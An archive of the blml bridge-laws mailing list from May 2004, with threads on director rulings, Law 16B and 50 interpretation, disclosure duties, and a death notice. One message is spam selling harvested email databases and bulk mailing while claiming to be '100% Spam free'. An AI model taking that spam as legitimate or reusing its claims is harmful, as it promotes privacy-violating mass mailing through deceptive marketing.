ZCB0aGlzIGVtYWlsIGluIGVycm9yLCBwbGVhc2UNCmFkdmlzZSB0aGUgc2VuZGVyIGFuZCBkZWxl dGUgdGhlIG1lc3NhZ2UgYW5kIGF0dGFjaG1lbnRzIGltbWVkaWF0ZWx5LiDCoFRoaXMNCmVtYWls LCBpbmNsdWRpbmcgYXR0YWNobWVudHMsIG1heSBjb250YWluIGNvbmZpZGVudGlhbCwgbGVnYWxs eSBwcml2aWxlZ2VkDQphbmQvb3IgY29weXJpZ2h0IGluZm9ybWF0aW9uLCB0aGUgdW5hdXRob3Jp c2VkIHVzZSBvZiB3aGljaCBpcyBwcm9oaWJpdGVkLg0KQW55IHZpZXdzIGV4cHJlc3NlZCBpbiB0 aGlzIGVtYWlsIGFyZSB0aG9zZSBvZiB0aGUgaW5kaXZpZHVhbCBzZW5kZXIsDQpleGNlcHQgd2hl cmUgdGhlIHNlbmRlciBleHByZXNzbHksIGFuZCB3aXRoIGF1dGhvcml0eSwgc3RhdGVzIHRoZW0g dG8gYmUNCnRoZSB2aWV3IG9mIHRoZSBEZXBhcnRtZW50IG9mIEltbWlncmF0aW9uIGFuZCBNdWx0 aWN1bHR1cmFsIGFuZCBJbmRpZ2Vub3VzDQpBZmZhaXJzIChESU1JQSkuIMKgRElNSUEgcmVzcGVj dHMgeW91ciBwcml2YWN5IGFuZCBoYXMgb2JsaWdhdGlvbnMgdW5kZXIgdGhlDQpQcml2YWN5IEFj dCAxOTg4IChzZWUgd3d3LmltbWkuZ292LmF1KS4NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0t From wex@hotmail.com Sun May 2 03:55:03 2004 From: wex@hotmail.com (wex@hotmail.com) Date: Sun, 2 May 2004 10:55:03 +0800 Subject: [blml] (*SPAM*) Email marketing Message-ID:

Email Marketing !

  We offer you e-mail addresses databases for advertisement mailing; we sell databases also carry out mailing and hosting for the advertising projects.

Products

World Email Lists .  Their validity and originality are verified. Details please go to our website

Country or area total emails

America      175 Million Email Address
Europe       156 Million Email Address
Asia         168 Million Email Address
China(PRC)   80 Million Email Address  
HongKong    3.25 Million Email Address
TaiWan      2.25 Million Email Address
Japan        27 Million Email Address 
Australia      6 Million Email Address
Canda        10 Million Email Address
Russia        38 Million Email Address
England      3.2 Million Email Address
German       20 Million Email Address  
France        38 Million Email Address
India         12 Million Email Address
other Country or Area  

---------------------------------------------------------------------------------------------                                                 
Category Name total emails total price

Apparel, Fashion, Textiles and Leather  4,654,565
Automobile & Transportation             6,547,845
Business Services                       6,366,344
Chemicals                               3,445,565
Computer & Telecommunications           654,655
Construction & Real Estate              3,443,544
Consumer Electronics                    1,333,443
Energy, Minerals & Metals               6,765,683
Environment                             656,533
Food & Agriculture                      1,235,354                  
Gems & Jewellery                        565,438
Health & Beauty                         804,654
Home Supplies                           323,232
Industrial Supplies                     415,668
Office Supplies                         1,559,892
Packaging & Paper                       5,675,648
Printing & Publishing                   6,563,445
Security & Protection                   5,653,494
Sports & Entertainment                  3,488,455
Toys, Gifts and Handicrafts             2,135,654
---------------------------------------------------------------------------------------------
ˇ¤All of Country email lists + email sender express +add url express + etrae express
---------------------------------------------------------------------------------------------


Send Your Ad to Millions

5 million bulk email only for $80 order
50 million bulk email only for $200 order
100 million bulk email only for $300 order
200 million bulk email only for $500 order

Imagine emailing 500,000 recipients and 1 out of every 1000 orders your product, that's 500 new orders!
* We go all-out to make sure our customers are completely satisfied
* If any emails fail to make delivery, we replace them free of charge
* 100% Spam free, rest assured you will not be accused of spamming
* Almost all of our emails are sent to valid email addresses
* No software required, we do all the mailing from our own server
* Don't be fooled in signing up with similar sites offering services that cannot compare to ours
* Get the most bang for your buck with bulk email advantage!
---------------------------------------------------------------------------------------------



Details go to website



the silver star internet information company

copyrightˇ¤2004-2005 all reserved


------------------------------------------------------------
remove please email: emailad1234@sina.com
------------------------------------------------------------

From karel@esatclear.ie Sun May 2 18:43:52 2004 From: karel@esatclear.ie (Karel) Date: Sun, 2 May 2004 18:43:52 +0100 Subject: [blml] 2 cases In-Reply-To: <00c801c42e4c$e8bfe9a0$6c9468d5@tinyhrieuyik> Message-ID: Recent premiere Irish Pairs event. 40 pairs all of whom qualified by winning one or more qualifying competitions. Board 8 Dealer West S AKQ973 H QT D 95 C QJ8 West East S 8 S 652 H KJ H 97642 D KQT743 D J82 C AT72 C 54 S JT4 H A853 D A6 C K963 Bidding W N E S 1D 1S P 2D 2NT 3S(1) P P(2) P 5 of clubs lead - 3S+2 All players are of international standard (1) North asked what the 2NT meant and was told shows "a good hand with values". Estimating game unlikely (too flat and lacking controls) with known values on her right, North bid 3S's. (2) South asked were E/W playing good/bad 2NT. East stated that they did but it didn't apply here. South felt he had insufficient values to bid game - in particular the CK looked like it wasn't going to work with values sitting over him. E/W had no proof to their agreements. At the end of play, N/S called the TD and stated they felt they were damaged. If given the correct explanation (what looked like a good bad 2NT sequence), North would double and South would bid 4S's. The Td went away and ruled result stands. N/S appealed his decision. The appeals hearing :- E/W claimed that (1) Double asked not to lead a diamond. (2) 3D was to play (3) 2NT showed values. When asked did 2NT show a spade stop or not they claimed it didn't, just indicated a good hand. The appeals committee let the result stand. They felt North should have doubled regardless and given South's experience should have suspected good bad 2NT and bid 4S. Comments ... ---------------------------------------------------------------------- ----------------- Board 14 Dealer East S Q93 H 5 D AQJT42 C 863 West East S K8 S AJT62 H QT9642 H A3 D 985 D 6 C AQ C KJ542 S 754 H KJ87 D K73 C T97 Bidding E S W N 1S P 2H 3D 4C(1) P 4S P P P Result 4S+1 diamond 3 lead (1) Insufficient bid of 3C corrected to 4C's which is Gerber. 4S shows 2 aces. N/S felt East acted on UI. East should have bid 4H which West is very likely to pass. 4H makes just 10 tricks. Your call. From gordon@gordonrainsford.co.uk Sun May 2 19:10:39 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sun, 2 May 2004 19:10:39 +0100 Subject: [blml] 2 cases In-Reply-To: References: Message-ID: <04AA10BB-9C64-11D8-BEAB-0003936A6522@gordonrainsford.co.uk> On 2 May 2004, at 18:43, Karel wrote: > Board 14 Dealer East > > S Q93 > H 5 > D AQJT42 > C 863 > West East > S K8 S AJT62 > H QT9642 H A3 > D 985 D 6 > C AQ C KJ542 > > S 754 > H KJ87 > D K73 > C T97 > > > Bidding > E S W N > 1S P 2H 3D > 4C(1) P 4S P > P P > > Result 4S+1 diamond 3 lead > > (1) Insufficient bid of 3C corrected to 4C's which is Gerber. ... in which case West is barred. L27B2. > 4S shows 2 > aces. > > N/S felt East acted on UI. It's very confusing to work out what's going on when you put East's bids to the left of West's! I suspect you've even confused yourself, below. Had West been allowed to bid, it would have been using UI to do other than to bid 4S, since it's the UI that tells West that East's intention was for the club bid to be natural. > East should have bid 4H which West is very > likely to pass. East isn't the one in receipt of UI - West is. > 4H makes just 10 tricks. > > Your call. -- Gordon Rainsford London UK From mikedod@gte.net Sun May 2 21:49:53 2004 From: mikedod@gte.net (mike dodson) Date: Sun, 2 May 2004 13:49:53 -0700 Subject: [blml] 2 cases References: Message-ID: <000901c43087$05b9aff0$72700f04@cyberxp> ----- Original Message ----- From: "Karel" > > Board 14 Dealer East > > S Q93 > H 5 > D AQJT42 > C 863 > West East > S K8 S AJT62 > H QT9642 H A3 > D 985 D 6 > C AQ C KJ542 > > S 754 > H KJ87 > D K73 > C T97 > > > Bidding > E S W N > 1S P 2H 3D > 4C(1) P 4S P > P P > > Result 4S+1 diamond 3 lead > > (1) Insufficient bid of 3C corrected to 4C's which is Gerber. 4S shows 2 > aces. > How is it that W could bid anything at all. L27 bars W if 3 or 4 clubs could have been conventional and Gerber is a convention in my book. Mike Dodson From ehaa@starpower.net Sun May 2 23:00:03 2004 From: ehaa@starpower.net (Eric Landau) Date: Sun, 02 May 2004 18:00:03 -0400 Subject: SV: [blml] Law 75C ambiguity (was Psyches) In-Reply-To: <40935B38.3010701@hdw.be> References: <5.2.0.9.0.20040430164359.024b8a80@pop.starpower.net> <5.2.0.9.0.20040430164359.024b8a80@pop.starpower.net> Message-ID: <5.2.0.9.0.20040502170845.026f3140@pop.starpower.net> At 04:09 AM 5/1/04, Herman wrote: >You are still illustrating the faults about a set of laws which >contain the words GBK. >My point was illustrating the faults of a set of laws WITHOUT those >words, as some have suggested. > >I agree with you that in the current set of laws, I could get extra >points by lying about no knowing what "forcing" means. I don't think >the TD will believe me, and I don't agree with you that this is as big >a problem as you state. But that was not my original point. > >My original point was that in that putative set of laws, I don't need >to lie and say I don't know what the word "forcing" means. All I have >to say was "I am not required by law to know what the word means, and >he IS required by law to explain it to me without me even asking, and >he did not do that". I don't have to lie, and the fact whether or not >I know what forcing means is not even important. >Can you see why such a set of laws would not work? The field would be >split immediately between folks who would continue to play as they >have done for years, and a set of bridge lawyers who would be >ostracized after two weeks. There's a valid point in there somewhere, but Herman's argument is hyperbolic nonsense. Under no conceivable law -- not the current law, not a revision along the lines I or others have suggested, not anything in between those -- would such an argument be accepted. We can debate whether to penalize heavily or educate gently anyone who would make such a statement, but nobody's suggested law is going to justify it. What I want to do is reply to this bozo with, "Are you seriously telling me you really don't know what forcing means?" and follow that up with a stern warning not to waste my time, or a serious penalty if he's tried something like this before. Of course, if he says yes, he really doesn't know what forcing means, and I believe him, I want to gently educate him that he is perfectly entitled to ask his opponent what forcing means. And if that opponent pipes up with "I don't have to explain that to him", I want the law to allow me to give him the stern warning and penalty the next time. From Herman's perspective that may make me credulous for believing that this supposed innocent really doesn't know what "forcing" means, or unjust to require some innocent player to educate his opponent about forcing bids. I understand and sympathize. But I have very little understanding and sympathy when we change the example by substituting "modified reverse Drury" for "forcing", and when the bridge lawyers (those are the only ones affected; the vast majority practice the spirit as well as the letter of the disclosure rules) parse the laws, those laws read the same for both cases. When BLs use the GBK exclusion to justify refusing to be forthcoming in reply to questions -- "The laws don't require me to teach bridge to my opponents" -- that exclusion is counterproductive. Now those who like it can argue that it has obvious merit for "forcing", and it's silly to think that anyone would apply it to "modified reverse Drury". But I don't want hassles with BLs about Texas transfers, or key-card Blackwood, or Stayman, or whatever some customer, in all honesty, believes that "everyone knows". And if the price is that is that someone is occasionally inconvenienced by having to give a ten-second mini-lecture on what "forcing" means to a beginner, that is a price I'm willing to pay. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From svenpran@online.no Sun May 2 23:32:13 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 3 May 2004 00:32:13 +0200 Subject: [blml] 2 cases In-Reply-To: Message-ID: <000001c43095$50cd2ae0$6900a8c0@WINXP> > Karel ............... > Board 14 Dealer East >=20 > S Q93 > H 5 > D AQJT42 > C 863 > West East > S K8 S AJT62 > H QT9642 H A3 > D 985 D 6 > C AQ C KJ542 >=20 > S 754 > H KJ87 > D K73 > C T97 >=20 >=20 > Bidding > E S W N > 1S P 2H 3D > 4C(1) P 4S P > P P >=20 > Result 4S+1 diamond 3 lead >=20 > (1) Insufficient bid of 3C corrected to 4C's which is Gerber. 4S = shows 2 > aces. >=20 > N/S felt East acted on UI. East should have bid 4H which West is very > likely to pass. > 4H makes just 10 tricks. >=20 > Your call. Law 27B2 (Insufficient bid not accepted) "If either the insufficient bid or the lowest sufficient bid in the same denomination may have been conventional or if the bid is corrected by = any other sufficient bid or by a pass, (penalty) the offender's partner must pass whenever it is his turn to call ....." East is allowed to change his insufficient bid to whatever legal call he likes (except double), and as 4C (the lowest sufficient bid in the same denomination) is conventional West is required to pass for the rest of = this auction whatever call East chooses as a replacement for his bid of 3C. Was the Director called to the table before East "changed" his bid of 3C = to 4C? If he were this is a matter of Director's error (Law 82C), if not it = is a violation of Laws 9 and 10; and Law 11 applies with the result that = N/S have no cause for complaining. Sven From richard.hills@immi.gov.au Mon May 3 01:25:08 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 3 May 2004 10:25:08 +1000 Subject: [blml] 2 cases Message-ID: For his first case, Karel wrote: [snip] >>At the end of play, N/S called the TD and >>stated they felt they were damaged. If given >>the correct explanation (what looked like a >>good bad 2NT sequence), North would double and >>South would bid 4S's. [snip] >>The appeals committee let the result stand. >>They felt North should have doubled regardless >>and given South's experience should have >>suspected good bad 2NT and bid 4S. >> >>Comments ... [snip] In the ACBL Long Beach 2003 Appeals Casebook, advice for advancing players, Rich Colker wrote: >An important theme runs through several cases >here (see CASES TWENTY-TWO, TWENTY-FOUR and >THIRTY-ONE). A pair misinforms the opponents, >leading to a favorable result for the >misinformers. The Director adjusts the scores >and they appeal, arguing that although there >was MI, it was inconsequential and in any case >the opponents should have known what was >happening and gotten it right. Well, the moral >is that in such cases an appeal should not even >be considered. Let's see why. > >Take a seat. With no one vulnerable you pick up >832 J8752 Q87 86. RHO and you pass, and LHO >opens 1NT (12-14 HCP). Partner doubles, showing >an "equal or better" hand, and RHO bids 2D. >Your turn. It's possible the opponents are >about to go for a number whatever they do. It's >also possible that your side can make a heart >partscore or game but that partner, holding a >balanced strong notrump, may not be able to >find another call if 2D is passed back around >to him. On the other hand, partner may not be >able to judge the ensuing auction well if you >double with so few high cards (he'll play you >for this much or more in any case). All things >considered, bidding 2H is reasonable (it >doesn't show any more than you have in the way >of high cards) but pass and double are also >understandable. > >But wait. LHO Announces that 2D is a transfer, >so bidding 2H is out. Given your heart holding, >you briefly consider whether RHO can really >have hearts. Why not? If LHO has a doubleton >then partner can surely have a hand with a >singleton heart, the equivalent of a strong >notrump (or even more) in high cards and 4-4-4 >or 3-4-5 distribution in the other suits. He >surely would have doubled a weak notrump with >such a hand. Obviously you cannot double 2D as >partner will likely place you with a diamond >suit - or at least with general defensive >values you do not have. So you pass. Next LHO >bids 2H and partner doubles, showing extra >values. From your hand it looks like partner >wants you to take out his double but if the >opponents are having a misunderstanding >partner may actually have hearts with you. >Headache. > >Now LHO bids 3D and you think "Aha, he intended >2D as natural." But wait. Maybe he's five-five >in the red suits and wants to compete - not >likely but possible. So what now? You ask LHO >about the 3D bid ("Is it forcing to game?") and >are told "It shows a weak hand with diamonds." >Does that mean only diamonds or diamonds in >addition to the hearts 2D showed? If the latter >then double by you seems clear; if the former >then you have a tough choice between double and >3H. The disadvantage of double is that you may >defend 3D doubled for +100 when you're cold for >+140 or +170 in hearts or will get +300 when >you're cold for +420 in 4H. The disadvantage of >bidding 3H is that partner will have a tough >decision whether to pass or bid game and with >your only side card in "their" suit you hardly >want to encourage him to bid 4H holding >something like QJx AKQxx Ax KJx, but you know >he will. So you double and we have CASE >TWENTY-FOUR. > >I won't bother to go through the offenders' >arguments again. Suffice it say that they're >irrelevant. Even if a non-offender took an >action that was far more of a bridge error than >anything mentioned above, and even if it was >judged to be enough to forfeit their right to >redress, the Committee will remember that, but >for the MI, none of this would have happened >(they would have bid a natural 2H over 2D and >gotten to wherever they would have gotten - >probably 4H - but wherever that was, their >success, or lack of it, would have been of >their own making). So regardless of how the >Committee views their subsequent actions, Law >12C2 still requires that the offenders' score >be adjusted as the Director did at the table >(in the actual case to -450 in 4H). So the >appeal could not win and thus had no merit. [snip] Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Mon May 3 01:58:06 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 3 May 2004 10:58:06 +1000 Subject: [blml] Double-meaning double Message-ID: Ed Reppert: >Hm. A player likes to psyche in certain >situations. His partner is aware of that. The >player psyches (maybe). Is the psyche "based >on a partnership understanding", or is it >based on the player's desire to psyche? Richard James Hills: In my opinion, the answer to Ed's first question is Yes. In my opinion, the answer to Ed's second question is Yes with a caveat - it was based upon the player's *unsuccessful* desire to psyche, as the player has caused by their repetitious overuse an inability for that particular psyche to exist in that particular situation. Ed Reppert: >Put it another way: do the laws say that >where a partnership understanding exists, or >may exist, certain calls may be subject to >sanction, *whatever* the basis for those >calls? Richard James Hills: Yes. Under Law 40D, an SO may forbid a non-systemic psyche of a conventional call, and may also forbid a particular systemic agreement about the same conventional call. Therefore, using a particular conventional call in a particular way may be subject to sanction whether or not such use was systemic or non-systemic. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Mon May 3 02:25:56 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 3 May 2004 11:25:56 +1000 Subject: [blml] Double-meaning double Message-ID: Grattan Endicott raised a standard up the flag-pole, to see if anybody would salute: [snip] >the old dears in the Zevenhuizen Bridge Club should >have the laws explicitly on their side when they stop >some wild young upstart from psyching all over the >coffee tables in their weekly duplicate - and, to be >consistent, that such power should be equally >available to the old dears of the Zonal Organization >in Zone 9. So what might we be talking about? >Answer, something like this: > "The regulating authority may specify a >minimum quality for an opening bid at the one level >and may prohibit, if it thinks fit, openings at this >level on weaker hands, regardless of partnership >agreement." > >No arguments? :-) ~ G ~ +=3D+ RJH's saltation over the flag-pole: The proposal is too wishy-washy, and should include a further protection for old dears. The old dears in the Lindpaddock Bridge Club should have the laws explicitly on their side when they stop some wild young upstart from squeezing all over the coffee tables in their weekly duplicate - and, to be consistent, that such power should be equally available to the old dears of the Zonal Organisation in Zone 9. So, what might we be talking about? Answer, something like this: "The regulating authority may specify a maximum quality for card play, and may prohibit, if it thinks fit, the execution of a squeeze, regardless of opponents' failure to break up the squeeze." No arguments? :-) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Mon May 3 03:00:50 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sun, 2 May 2004 22:00:50 -0400 Subject: [blml] Double-meaning double In-Reply-To: Message-ID: On Sunday, May 2, 2004, at 20:58 US/Eastern, richard.hills@immi.gov.au wrote: > Therefore, using a particular conventional > call in a particular way may be subject to > sanction whether or not such use was systemic > or non-systemic. Okay. But I was thinking of natural calls, rather than conventional calls. Sorry, I spose I should have said so. From ereppert@rochester.rr.com Mon May 3 03:02:23 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sun, 2 May 2004 22:02:23 -0400 Subject: [blml] Double-meaning double In-Reply-To: Message-ID: On Sunday, May 2, 2004, at 21:25 US/Eastern, richard.hills@immi.gov.au wrote: > Answer, something like this: > "The regulating authority may specify a > maximum quality for card play, and may prohibit, if > it thinks fit, the execution of a squeeze, regardless > of opponents' failure to break up the squeeze." > > No arguments? :-) You guys are making my head hurt. :-) From richard.hills@immi.gov.au Mon May 3 05:53:34 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 3 May 2004 14:53:34 +1000 Subject: [blml] ACBL Long Beach 2003 casebook appeal 37 Message-ID: [snip] >>The Facts: 4S went down one, +50 >>for N/S. The opening lead was a low >>heart. South, as she led to trick two, >>knocked over her card holder, briefly >>exposing her cards to the rest of the >>players at the table. She covered >>them quickly and pulled them into >>her lap. E/W called the Director who >>said they believed North had seen >>South's cards. The Director applied >>Law 50, instructing the players that >>South's prematurely exposed (but not >>led) cards would not be treated as >>penalty cards and to resume play. He >>remained at the table and monitored >>the play, which he reported went as >>shown in the diagram. At the end of >>the play, the Director was satisfied >>that there had been no damage from >>the briefly exposed cards (Law 16) >>and allowed the table result to stand. [snip] Casebook panellist Grattan Endicott: >Unless knocking over the card holder was >deemed a purposeful action there was no >infraction. South did not act to make UI >available, it occurred adventitiously. If >North saw anything significant as the >outcome of the accident, Law 16B would >apply. Everything the Director did was >within the powers the relevant law gives, >regardless of spirit, and I have no >inclination to challenge the Director's >conclusions in addressing the question of >whether North had UI and took advantage >of it. Richard James Hills: It seems to me that Grattan Endicott has misinterpreted Law 16B. Law 16B refers to "seeing a card belonging to another player at his own table before the auction begins", but this case was about seeing 13 of partner's cards after the auction had finished and the play had begun. Casebook panellist Jeff Goldsmith: >I didn't know that Law 50 allows Directors >to judge that an exposed card provides no >penalty. Law 50B says "a card.....exposed >inadvertently.....becomes a minor penalty >card," which suggests to me that Law 50 >was misapplied, but I think it would be a >good thing if Law 50 could be applied as it >was, particularly with respect to >handicapped players. [snip] Richard James Hills: It seems to me that Jeff Goldsmith has correctly interpreted Law 50. It seems to me that the Law 50 caveat, "unless the Director designates otherwise", is subject to the Law 49 restriction, "Except in the normal course of play or application of law". That is, in my opinion, the TD cannot arbitrarily designate that a prematurely exposed card is not a penalty card, but the TD must have some Lawful justification for so ruling. For example, a ruling pursuant to footnote number 19 of Law 68, "If the statement or action pertains only to the winning or losing of an uncompleted trick currently in progress, play proceeds regularly; cards exposed or revealed by a defender do not become penalty cards....." would be a valid reason for the TD to "designate otherwise". I do, however, agree with Jeff Goldsmith's suggestion that the actual TD ruling should be made specifically legal in the 2006 versions of Law 49 and Law 50. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From toddz@att.net Mon May 3 06:13:07 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Mon, 03 May 2004 01:13:07 -0400 Subject: [blml] ACBL Long Beach 2003 casebook appeal 37 In-Reply-To: References: Message-ID: <6.0.1.1.1.20040503011021.01b2b258@postoffice.worldnet.att.net> At 12:53 AM 5/3/2004, richard.hills@immi.gov.au wrote: > It seems to me that Grattan Endicott has > misinterpreted Law 16B. > > Law 16B refers to "seeing a card belonging > to another player at his own table before > the auction begins", but this case was > about seeing 13 of partner's cards after > the auction had finished and the play had > begun. I don't think Grattan has misinterpreted L16B. You should reparse L16B as follows: When a player accidentally receives unauthorized information about a board he is playing or has yet to play, , the Director should be notified forthwith, preferably by the recipient of the information. -Todd From richard.hills@immi.gov.au Mon May 3 06:36:31 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 3 May 2004 15:36:31 +1000 Subject: [blml] ACBL Long Beach 2003 casebook appeal 37 Message-ID: Todd M. Zimnoch: >I don't think Grattan has misinterpreted >L16B. You should reparse L16B as follows: > >"When a player accidentally receives >unauthorized information about a board he >is playing or has yet to play, non-exhaustive examples>, the Director >should be notified forthwith, preferably >by the recipient of the information." Richard James Hills: This does not negate my underlying point, which was that the 2006 Laws should be more specific and less ambiguous. Law 16B does not state whether or not its list of examples was either exhaustive or merely indicative. In 2006 Law 16B should specifically state one or the other. Anyway, even if "seeing a card belonging to another player at his own table before the auction begins" was intended as a non- exhaustive and indicative example, the phrase "before the auction begins" is a *specific* caveat. If this is, indeed, an indicative example in Law 16B, then this indicates that Law 16B should *not* apply to seeing another player's card at the same table *after* the auction begins. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From grandeval@vejez.fsnet.co.uk Mon May 3 01:08:52 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Mon, 3 May 2004 01:08:52 +0100 Subject: SV: [blml] Law 75C ambiguity (was Psyches) References: <5.2.0.9.0.20040430164359.024b8a80@pop.starpower.net> <5.2.0.9.0.20040430164359.024b8a80@pop.starpower.net> <5.2.0.9.0.20040502170845.026f3140@pop.starpower.net> Message-ID: <001201c430d1$f0101360$26bd87d9@4nrw70j> Grattan Endicott To: "Bridge Laws Discussion List" Sent: Sunday, May 02, 2004 11:00 PM Subject: Re: SV: [blml] Law 75C ambiguity (was Psyches) > > There's a valid point in there somewhere, but Herman's >argument is hyperbolic nonsense. Under no conceivable > law -- not the current law, not a revision along the lines > I or others have suggested, not anything in between > those -- would such an argument be accepted. We can > debate whether to penalize heavily or educate gently > anyone who would make such a statement, but nobody's > suggested law is going to justify it. > --------------- \x/ ---------------- > > I don't want hassles with BLs about Texas transfers, or > key-card Blackwood, or Stayman, or whatever some > customer, in all honesty, believes that "everyone knows". > And if the price is that is that someone is occasionally > inconvenienced by having to give a ten-second > mini-lecture on what "forcing" means to a beginner, that is a price I'm willing to pay. > +=+ The wording of a law that leaves no gaps in its definition of what is to be explained and what it is not mandatory to explain, has no problems. As to the severity with which such is to be enforced, current world opinion is seemingly weighted u in favour of leaving such matters of policy to regulation. ~ Grattan ~ +=+ From gesta@tiscali.co.uk Mon May 3 07:20:33 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Mon, 3 May 2004 07:20:33 +0100 Subject: [blml] ACBL Long Beach 2003 casebook appeal 37 References: Message-ID: <000201c430d7$3a22d640$04a7403e@multivisionoem> Grattan Endicott To: Sent: Monday, May 03, 2004 6:36 AM Subject: Re: [blml] ACBL Long Beach 2003 casebook appeal 37 < ---- \x/ ------------ Law 16B does not state whether or not its list of examples was either exhaustive or merely indicative. In 2006 Law 16B should specifically state one or the other. Anyway, even if "seeing a card belonging to another player at his own table before the auction begins" was intended as a non- exhaustive and indicative example, the phrase "before the auction begins" is a *specific* caveat. If this is, indeed, an indicative example in Law 16B, then this indicates that Law 16B should *not* apply to seeing another player's card at the same table *after* the auction begins. < +=+ I think, Richard, that you are reading 16B inattentively. There is a difference between ".... play, as by looking at ... " and ".play, by looking at...". In the first of these versions the list following is not exhaustive. Which is not to say we cannot do better. ~ Grattan ~ +=+ From gesta@tiscali.co.uk Mon May 3 07:46:09 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Mon, 3 May 2004 07:46:09 +0100 Subject: [blml] ACBL Long Beach 2003 casebook appeal 37 References: Message-ID: <000c01c430da$87f8f4a0$04a7403e@multivisionoem> Grattan Endicott To: Sent: Monday, May 03, 2004 6:36 AM Subject: Re: [blml] ACBL Long Beach 2003 casebook appeal 37 < Anyway, even if "seeing a card belonging to another player at his own table before the auction begins" was intended as a non- exhaustive and indicative example, the phrase "before the auction begins" is a *specific* caveat. If this is, indeed, an indicative example in Law 16B, then this indicates that Law 16B should *not* apply to seeing another player's card at the same table *after* the auction begins. < +=+ A specific caveat, but non-exclusive of like events that occur after the auction begins, since the whole list is non-exclusive. +=+ From schoderb@msn.com Sun May 2 14:52:24 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Sun, 2 May 2004 09:52:24 -0400 Subject: [blml] (no subject) Message-ID: Sad news, my friends. Daniela Wiser called a moment ago to tell me that Johnny passed away on Friday night. He had been in the hospital for three weeks, home for a day or two on Monday, and back to the hospital. Memorial services are on Tuesday at: Collins Clarke 222 Autoroute 20 Pointe Clare, Quebec H9H 3X6 From joanandron@worldnet.att.net Sun May 2 17:34:37 2004 From: joanandron@worldnet.att.net (JOAN GERARD) Date: Sun, 2 May 2004 12:34:37 -0400 Subject: [blml] Johnny Wiser References: Message-ID: <010601c43063$5f43f040$32244c0c@valuedqe19ks6r> Hi Kojac, It is indeed very sad news that Johnny is gone. There are not many people who were able to handle all the players as well as Johnny did. A perfect gentleman at all times, dedicated, knowledgeable, a credit to the directing profession. There was nothing that Johnny was not willing to do. I am so happy that I had an opportunity to hug him when I was in Montreal last year. I will miss him as will the rest of the bridge world. My condolences to Daniela and his family. Love, Joan ----- Original Message ----- From: "WILLIAM SCHODER" To: "D'orsi Ernestoi" ; "Endicott Grattan" ; "Francin Christine" ; "Gerard Joan" ; "Johnson Ron" ; "kooijman Ton" ; "michael Panella" ; "Pearson Bob" ; "Blaiss Gary" ; "blml" ; ; ; ; ; "bridge2" ; ; ; ; ; ; ; Sent: Sunday, May 02, 2004 9:52 AM > Sad news, my friends. Daniela Wiser called a moment ago to tell me that > Johnny passed away on Friday night. He had been in the hospital for three > weeks, home for a day or two on Monday, and back to the hospital. Memorial > services are on Tuesday at: > Collins Clarke > 222 Autoroute 20 > Pointe Clare, Quebec > H9H 3X6 > > > From tkooij@tiscali.nl Sun May 2 17:49:42 2004 From: tkooij@tiscali.nl (tkooij@tiscali.nl) Date: Sun, 2 May 2004 18:49:42 +0200 